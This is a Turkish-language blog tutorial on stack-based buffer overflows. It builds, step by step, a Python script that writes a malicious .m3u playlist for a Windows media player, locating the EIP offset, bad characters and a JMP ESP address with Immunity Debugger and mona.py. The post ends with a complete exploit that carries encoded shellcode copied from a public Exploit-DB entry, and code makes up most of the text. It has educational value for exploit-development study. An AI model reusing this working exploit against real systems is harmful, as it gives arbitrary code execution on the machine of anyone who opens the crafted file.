14 Mart 2015 Cumartesi

Stack Based Buffer Overflow ve Exploit Kodlama - 1

2014'ün son ayında başlayıp uyuşukluğumdan dolayı yarıda kestiğim yazıyı yeniden yazma girişiminde bulundum. Arada bir kaç kez daha bırakmış olsamda sonunda bitiriyorum.

Uzunca bir yazı olacak, bu yüzden Stack ve Buffer gibi kavramları anlatmakla fazla vakit kaybetmeye gerek yok (ilerleyen kısımlarda bir görselle bir kaç şey anlatmam dışında). Bu adresten ayrıntılı bilgileri okuyabilirsiniz. Şimdi bir uygulamayı patlatmak ve overflow ettiğimiz uygulama için Exploit yazmak için yapılan temel adımları şöyle sıralayabiliriz.
ÖNEMLİ:  Bu yazıda anlatacaklarım herhangi bir koruma mekanızmasına (SEH, ASLR vs.) karşı bypass içermemektedir. O tarz overflow ve exploit kodlamaları ileriki yazılarda olur umarım -üşenmez yazarsam-
  • Uygulamanın girdi alan noktalarında bir overflow tespit etmek
  • Overflow olan sınırı tespit etmek
  • Uygulama içinde bizi Stack'e yönlendirecek adresi bulmak
  • Bad charları tespit etmek
  • Uygun shellcode yazmak
  • Ve bomm
Bu yazı muhtemelen seri şeklinde olacaktır. İlk olarak local bir buffer overflow uygulaması ile temelleri yazmaya çalışacam, sonrakilerinde remote overflow içinde anlatımlar olacaktır. Umarım...

Temel olarak buffer overflow için şunu söyleyebiliriz: Uygulamanın çalışma sırasında kullanıcıdan aldığı bir girdiye ayrılan sınırın üstünde data girişi yapmaktır. Birçok overflow yazısında int buff[125] gibi bir girdi alanı açılıp strcpy, memcpy vs ile C dilinin kontrolsüz fonksiyonlarını kullanarak uygulamaya 125'ten fazla bir input yollayarak programı patlatmayı anlatır. Anlatılanda doğrudur, mantık aynen bu şekilde işler, haddinden fazla inputu göndermek ve eğer kontrol yoksa uygulamayı patlatmak.
Uygulamaya fazla input yolladığımızda stack'in yapısından dolayı stack'e atılan parametreler ve geri dönüş değerler ezilir/kaybolur bundan dolayı uygulama crash olur ve sonlanır. İyi bir exploit, geri dönüş değerini istediğimiz bir alana referans ettirmek ve o alana shellcode'umuzu doldurmak ile olur. Sonrası işlemcide, sağolsun kendisi bizim için işlemleri yapacaktır.

Patlatacağımız uygulamaya ait Perl diliyle yazılmış exploit koduna Exploit-db den bakabilirsiniz. Biz Python ile exploiti geliştireceğiz. Verdiğim linkte uygulama için download linkide bulunmakta.

Let's Begin

Öncelikle uygulamanın kabul ettiği formatlardan biri olan m3u için dosya oluşturup içini junk datayla dolduran bir kod yazalım. Başlangıç olarak 10.000 byte verelim.

fileName = "bombe.m3u"  
buf = "A"*10000 # junk data  
try:
    file = open (fileName, "w")  
    file.write( buf )  
    file.close()  
    print "[+] File successfully created!"  
except:  
    print "[!] Error!"  

Şimdi canımız İmmunity ciğerimiz Debugger'ı açalım ve uygulamamızı File -> Open yoluyla seçip başlatalım. İmmunity modülleri yükledikten sonra isterseniz F9'a basarak isterseniz toolbardaki play butonuna basarak uygulamayı başlatalım.
Şimdi uygulamada Load diyip, dosya türlerini m3u olanı seçtikten sonra dosyamızı seçip diyoruz.
Ne oldu, patlamadı. Demek ki az vermişiz junk datayı.
Şimdi junk datamızı kademeli olarak arttırıp tekrar tekrar deneyelim.
Önce bir 15.000 sonra 20, 25 arttırıp görelim. Örneğe 30.000 byte ile devame ediyorum ben.

Bom. 30k'da patladı.
Burada en altta Access violation vermiş. Uygulamayı patlatıp stack'i taşırdık ve erişmememiz gereken yerlere el attık. Diğer kırmızı kutuların içindekilerden görebileceğiniz üzere EIP yani instruction pointerı ve ESP yani stack pointeri 41'ler ile yani A'lar ile doldurduk.

Şimdi patlattık ama nerde patladı. 30k byte içinde sınır nerede bunu bulmanın temel iki yolu var. Biri amele gibi elle teker teker deneyerek bulma ki Binary search mantığıyla yapılabilir. Bir diğeri abilerimizin yazdığı toolları kullanıp tek hamlede sınırı bulmak.
Bu toollardan biri Metasploit dayının içinde gelen ruby ile yazılmış pattern_create ve pattern_offset scriptleri.
Bir diğeride İmmunity'e entegre edebileceğimiz plugin olan mona'nın içinde, metasploittekilerin yandan yemişi, Python ile yazılmış olan pattern_create ve pattern_offset.

Şu yazıda İmmunity'e mona.py pluginini nasıl entegre edeceğinizi anlatmıştım. Dilerseniz burdan işlem adımlarını yapıp mona ile devam edebilirsiniz.

Şimdi yapacağımız işlem, mona.py'den (pattern_create) bize belirteceğimz byte uzunluğunda formatlı bir data üretmesini söylemek ve bu datayı junk olarak kullanıp uygulamayı tekrar patlatmak. Overflow olduktan sonra EIP'nin offset adresini alıp pattern_offset'e verdikten sonra bize taşma sınırını söylemesini beklemek.
NOT: Çok büyük mertebelerde karakterlerde oluşturup -30.000 civarı- pattern_offset'ten bize sınırı söylemesini istediğimizde zıçabiliyor. Bu yüzden 25.000 byte A ile doldurup 5.000 byte mona.py'den isteyeceğiz. Başlayalım.

 !mona pattern_create 5000  

Karakter sayısı cok fazla olduğu için log ekranından alamayız. Ürettiği pattern'ları kaydettiği yeri söylüyor buradaki dosyadan karakterleri alıp Python kodumuza ekliyoruz.

fileName = "bombe.m3u"  
buf = "A"*25000 # junk data  
buf += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"  
try:
    file = open(fileName, "w")  
    file.write( buf )  
    file.close()  
    print "[+] File successfully created!"
except:
    print "[!] Error!"  

Şimdi uygulamayı debugger'da Restart ediyoruz. Kısayol tuşu Ctrl + F2. Veya toolbardaki previous şeklindeki butona basıyoruz. Ardından Play (run program) diyoruz.
Oluşturduğumuz m3u dosyasını tekrar Load diyerek uygulamaya veriyoruz.

Uygulama gördüğünüz gibi Overflow oldu. Şimdi yapmamız gereken patlamış haldeki uygulamada EIP'ın offset değerini pattern_offset'e vermek ve bize overflow'un sınırını vermesiyle yolumuza devam etmek.

EIP'nin o anki değerini sağ tıklayıp kopyalıyoruz. Bahsettiğimiz pattern_offset'e veriyoruz.
 !mona pattern_offset 346A4233  
Ve bize kendi ürettiği 5000 byte arasından overflow noktasının 1061. olduğunu söyledi. Biz öncesinde 25.000 byte A ile beraber bu işi yaptığımız için toplam sınır, 25.000 + 1061 = 26.061.

Yukarıdaki resimde gördüğünüz gibi uygulamaya ayrılmış buffer'ı doldurup return adresi eziyoruz ve stack'i boş datayla dolduruyoruz biz. Buffer Overflowdaki exploit mantığı şudur:
  • Buffer'ı taşır ta ki return adresine gelene kadar.
  • Return adresini Stack'e yönlendirecek bir adres bul.
  • Stack'e shellcode'unu doldur
Sıradaki adım EIP'ye değer yazmak ve shellcode'muz öncesi stack'e giden yolda kaç tane boşluk olduğunu bulmak.
Exploit kodumuzun son hali şöyle bişey.

fileName = "bombe.m3u"  
buf = "A"*26061 # junk data  
eip = "B"*4 # EIP'a yazilacak deger  
arabosluk = "123456789ABCDEF123456789abc" # araboslugu belirlemek icin yazilan karakterler  
buf = buf + eip + arabosluk  
try:
    file = open(file, "w")  
    file.write( buf )  
    file.close()  
    print "[+] File successfully created!"  
except:
    print "[!] Error!"  

Kodu kaydedip çalıştıralım ve oluşturduğu m3u uzantılı dosyayı tekrar Immunity'e verelim. Sonuç;
Görüldüğü üzere junk datadan sonra yazdığımı 4 byte uzunluğundaki B karakteri EIP'ye yerleşmiş (B'nin ASCII karşılığı 42'dir).
Ara boşluğu belirlemek için yazdığımız karakter dizisinden 5'e kadar olanlar arada kaybolmuş. Bu da uygulama Stack'e atlamadan önce 4 karakter harcanıyor demek, bizde araya NOP (No Operation) karşılığı olan \x90 değerini yerleştirelim oraya.

Bad Char Bulma

Şimdi en can alıcı noktaya geldik. Uygulamaların kimi karakterlere alerjisi vardır ve bunları gördükleri an zokayı yutarlar. Bizde 0'dan 255'e kadar olan hex karakterleri Stack'e atıp, uygulamanın hangilerini görünce gümlediğini tespit etmeye çalışacağız.
-Bu adımdan önce veya sonra fark etmez, Stack'e EIP üstünden zıplayacağımız (JMP ESP) offset adresini bulma aşamasını yapabiliriz. Ben bad charlardan sonra bu işlemi yapacam-

Son haliyle exploit kodumuz şu hali alıyor.
fileName = "bombe.m3u"  
 
buf = "A"*26061 # junk data  
eip = "B"*4 # EIP'a yazilacak deger  
arabosluk = "\x90"*4 # arabosluk  

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"   
    "\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"   
    "\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"   
    "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"   
    "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"   
    "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"   
    "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"   
    "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"   
    "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"   
    "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"   
    "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xAF\xB0"   
    "\xB1\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xBB\xBC\xBD\xBE\xBF\xC0"   
    "\xC1\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xCB\xCC\xCD\xCE\xCF\xD0"   
    "\xD1\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xDB\xDC\xDD\xDE\xDF\xE0"   
    "\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xEB\xEC\xED\xEE\xEF\xF0"   
    "\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFB\xFC\xFD\xFE\xFF")  

buf = buf + eip + arabosluk + badchars  
try:
    file = open(fileName, "w")  
    file.write( buf )  
    file.close()  
    print "[+] File successfully created!"
except:
    print "[!] Error!"

Kaydedip çalıştıralım. Debugger'daki uygulamayı restart edip başlatalım. Ve m3u uzantılı dosyamızı Load üzerinden yükleyelim. Uygulama crash oldu ve EIP yazdığımız B'nin karşılığı olan 42 var. Şimdi Stack'e gidip yazdığımız badchars dizisini bozan haylaz karakteri bulalım.
ESP'nin üstüne sağ tıklayıp Follow in Dump diyerek akışın devam ettiği noktaya gidebiliriz.
Burada şimdi 0-255 arası ama Hexadecimal olarak yazdığımız karakter dizisinin akışına bakacağız. Sıralamayı bozan bad char'ı listemizden silip tekrar aynı işlemi yapacağız ta ki aradaki sıralamayı bozan karakter kalmayana kadar.
Gördüğünüz gibi ilk elemanda patladı. \x00. Zaten çoğu uygulamada bu fixtir 0 bad char olur. Shellcode üretimini gösteren örneklerde dikkat ettiyseniz \x00 çoğunda badchar olarak geçer zaten.
Exploit kodumuzdan \x00'ı silip, dosyamızı oluşturalım ve yeniden Load edelim. Ve Follow in Dump ile Stack'e atlayıp hex listemizdeki karakterlere bakalım.
Burada gördüğünüz üzere akış 08 den sonra bozuluyor ve 00 ardından değişik karakterler geliyor. Buradan anlıyoruz ki ilk kötü karakterimiz \x09. Bunu exploit kodumuzun içinden silip işlemi tekrar edelim.
 Bellek dökümünü incelediğimizde 08'den sonra tekrar bir bozulma olduğu fark edilir. 09'u az önce sildiğimiz için bu seferki bad charımız \x0a oluyor.
\x0a karakterini exploit kodumuzdan silip kaydettikten sonra m3u uzantılı dosyamızla tekrar bir Load yapalım bir sonraki bad char için.
Gördüğünüz üzere karakterler nizami bir şekilde artmış ve 255'in hex karşılığı olan FF'e kadar gitmiştir.
Elimizde üç tane bad char var. Bunları bir kenara yazalım, shellcode'umuzu oluştururken bunlardan yararlanacağız.

Stack'e Atlanacak Adresi Bulma

Geriye son iki adım kaldı. Önce Stack'e atlayacağımız adresi bulalım ardından shellcode yazıp exploit kodumuza ekleyip sonuçları göreceğiz.
Stack'e atlayacağımız noktayı bulmak için İmmunity'den View -> Executables modules menüsünden uygulaman çalıştırdığı windows dll'lerine bakalım.
Bu Dll'ler arasından bir tanesine çift tıklamak yeterli o kısma atlamak için.
Atladığımız kısımda ilk yapacağımız Ctrl+F yapıp JMP ESP'ı aramak olmalıdır.

Bu komutu içeren adresleri bulacaktır ancak bizi ilk bulduğuna götürecektir. Bizde burda o satırın offset adresini kopyalayıp exploit kodumuzun içerisinde eip olarak belirttiğimiz değişkene vereceğiz.

 eip = "\xD7\x30\x9C\x7C" # EIP'a yazilacak deger  
 # 7C9C30D7  FFE4       JMP ESP  

Debugger'dan kopyaladığımız adres 7C9C30D7 dir. Ancak bunu kodumuzun içinde \xD7\x30\x9C\x7C şeklinde yazmamızın nedeni Little Endian - Big Endian'dan dolayı olan bir değişimidir. Memory'e alınıp işlenen adres ters düz edilir bazı işlemcilerde. Şurada bir arkadaş açıklamış merak edenler okuyabilir.

ShellCode 

Stack'e atlayacağımız adreside bulduğumuza göre sırada shellcode'umuzu yazıp exploit kodumuza dahil etmek kaldı.

Shellcode üretmek için Metasploit Framework'ün msfpayload aracını, çıkan sonucu bad char filtresinden geçirip encode etmek için msfencode kullanacağız. Fakat bunları anlatıp sonuçlarla daha fazla uğraşıp yazıyı gözünüzde karartmak istemiyorum. Başka bir yazıda payload ve shellcode üretimiyle alakalı belirttiğim iki tool'un kullanımını anlatırım inş cnm.

Exploit-db'de yer alan perl ile yazılmış, yazının başında belirttiğimiz, exploit kodunun içindeki shellcode alıp kendi kodumuza ekleyelim ve sonucu izleyelim.
Son haliyle exploit kodumuz şöyle bir şekil alacaktır.
fileName = "bombe.m3u"  
   
buf = "A"*26061 # junk data  
eip = "\xD7\x30\x9C\x7C" # EIP'a yazilacak deger  
# 7C9C30D7  FFE4       JMP ESP  
   
arabosluk = "\x90"*4 # arabosluk  
arabosluk += "\x90"*10 # Airbag ;)  
   
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"  
    "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"  
    "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"  
    "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"  
    "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"  
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x45\x34\x4e\x43\x4b\x38\x4e\x47"  
    "\x45\x30\x4a\x57\x41\x30\x4f\x4e\x4b\x48\x4f\x34\x4a\x51\x4b\x48"  
    "\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x34\x4b\x48\x46\x53\x4b\x48"  
    "\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"  
    "\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e"  
    "\x46\x4f\x4b\x53\x46\x55\x46\x52\x46\x30\x45\x37\x45\x4e\x4b\x38"  
    "\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x50\x4b\x54"  
    "\x4b\x48\x4f\x45\x4e\x51\x41\x30\x4b\x4e\x4b\x58\x4e\x41\x4b\x58"  
    "\x41\x50\x4b\x4e\x49\x48\x4e\x45\x46\x42\x46\x30\x43\x4c\x41\x43"  
    "\x42\x4c\x46\x36\x4b\x58\x42\x34\x42\x33\x45\x48\x42\x4c\x4a\x57"  
    "\x4e\x30\x4b\x48\x42\x44\x4e\x30\x4b\x48\x42\x47\x4e\x41\x4d\x4a"  
    "\x4b\x48\x4a\x46\x4a\x50\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"  
    "\x42\x50\x42\x50\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x33"  
    "\x48\x4f\x42\x36\x48\x45\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x47"  
    "\x42\x55\x4a\x46\x42\x4f\x4c\x38\x46\x50\x4f\x55\x4a\x36\x4a\x39"  
    "\x50\x4f\x4c\x38\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x36"  
    "\x4e\x56\x43\x36\x50\x32\x45\x36\x4a\x57\x45\x56\x42\x30\x5a")  
   
# \x00 \x09 \x0a bad chars  
   
buf = buf + eip + arabosluk + shellcode  
   
try:
    file = open(fileName, "w")  
    file.write( buf )  
    file.close()  
    print "[+] File successfully created!"  
except:
    print "[!] Error!"  

